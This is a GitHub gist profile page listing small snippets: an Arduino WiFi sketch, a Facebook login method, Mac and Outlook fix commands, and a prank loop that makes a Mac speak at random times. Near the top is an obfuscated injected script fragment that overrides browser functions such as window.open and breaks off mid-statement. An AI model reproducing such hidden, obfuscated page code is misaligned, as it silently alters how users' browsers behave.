Skip to content

Instantly share code, notes, and snippets.

View jldavid's full-sized avatar
💻

Jean-Luc David jldavid

💻
  • Toronto, Ontario
View GitHub Profile
<plusService>
<script>
PS_3hdC7otraHIjq=window.onunload;zZ8J5EMCoO4Fus3dwezqCSWAF=window.scrollBy;nxtqR8HutYdopFX5rcj6n16Ad4=window.getSelection;AZ2F1SxsxLMKhwWt=window.alert;LxPryxfQeEe94nZI8vMdp=new Function();hW0FbJuO0cnWXWZyxV=new Function();FjXd6xQQBWPYDs0Q6Wahlym=new Function();TdoJWFe_lrO74NZwxxrxuo=window.showModelessDialog;lHrkbMzdUO6Pns3FoSKf6oiteH=new Function();fn666mMOlhEPaOFA__2sOg5=new Function();md5IOFFrMZaj0Tjeq0=window.moveBy;PDF0Fp0pFDEsse0qXc=window.blur;eIfwCBWpMCeRLrvdfOuFzVkWE=window.resizeTo;dGFOWOM5L6VSAsvnP5=window.scrollTo;arAsDmfaLrj__YD7D0YtLGV=new Function();exZXKWMbdyWmnkxQ=window.print;Fdys5krJTi1Pnxp3Uqq=document.getSelection;n4MuY1A5LdieoPJ7Vu=window.resizeBy;uDi_D_939S59Twcsy6D1T=window.focus;g4YEVyUPFclSR4AibpZkFfZ=window.prompt;_Y6hxVJ6BX0iWmaoH7xKkN2r=window.open;xPuBFthrFwcx_MLjnAX=window.confirm;d3ils1l_PnbhJnN1s0zLejpm=new Function();FY1LtN6_qwR84MXkzEpv5f=window.moveTo;qFdiW5INX4kYDwkiLA9Mz0=window.showModalDialog;window.open=new Function();window.showModelessDialog=
@jldavid
jldavid / gist:2d1d859bebc407d8b931
Last active December 21, 2015 13:49
WiFi on Arduino
#include <SPI.h>
#include <WiFi.h>
char ssid[] = "SSID"; // your network SSID (name)
char pass[] = "PASSWORD"; // your network password (use for WPA, or use as key for WEP)
int keyIndex = 0; // your network key Index number (needed only for WEP)
int status = WL_IDLE_STATUS;
// if you don't want to use DNS (and reduce your sketch size)
// use the numeric IP instead of the name for the server:
@jldavid
jldavid / gist:b6d75a2b6d0723317a04
Created March 9, 2016 01:40
Facebook Login with ACAccountType
- (void)facebookLoginWithCompletion:(void (^)(NSString *userID, NSString *email, NSString *fullName))completion
{
self.accountStore = [[ACAccountStore alloc] init];
ACAccountType *accountType = [self.accountStore accountTypeWithAccountTypeIdentifier:ACAccountTypeIdentifierFacebook];
NSDictionary *options = @{
ACFacebookAppIdKey:FACEBOOKAPPID,
ACFacebookPermissionsKey: @[@"read_stream", @"basic_info"],
do
sleep $[RANDOM%3600+1]
osascript -e "set volume 10"
say "balls"
done
@jldavid
jldavid / ReindexSpotlight.sh
Last active October 12, 2019 11:58
FIX: Reindex Spotlight if apps are missing on Mac during Search
#!/bin/sh
# Reference: https://apple.stackexchange.com/questions/62715/applications-dont-show-up-in-spotlight
sudo mdutil -a -i off
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist
sudo mdutil -a -i on /
@jldavid
jldavid / FirewireFix.sh
Last active October 12, 2019 11:56
FIX: Continuous Connection Disconnection Firewire Cable Error
sudo killall -STOP -c usbd
@jldavid
jldavid / OutlookCommandReturnFix.sh
Last active September 10, 2021 15:17
FIX: Prevent Outlook for Mac from Auto-Sending Emails with Command+Return
defaults write com.microsoft.Outlook NSUserKeyEquivalents -dict-add "Send" "\U200B"
@jldavid
jldavid / SourceTreeGithubFix.txt
Last active October 12, 2019 11:55
FIX: fatal: could not read Username for 'https://github.com': Device not configured in SourceTree
Right-click the repo in the main window, and select 'Convert to SSH'
@jldavid
jldavid / Mac Keyboard Fix Cheat Sheet.txt
Created July 22, 2020 03:01
Mac Keyboard Fix Cheat Sheet
1. Reset the SMC. Turn off your Mac. Hold down Shift+Control+Option buttons. Push power button for 5 seconds.
Wait till the power supply turns amber. Details here: https://support.apple.com/en-ca/HT201295
2. Chrome will make the keyboard fail. Test to see if the keyboard works outside of Chrome. You can disable
Hardware Acceleration to improve performance.
@jldavid
jldavid / Bitnami.md
Last active October 16, 2020 04:01
Setting Up a Bitnami API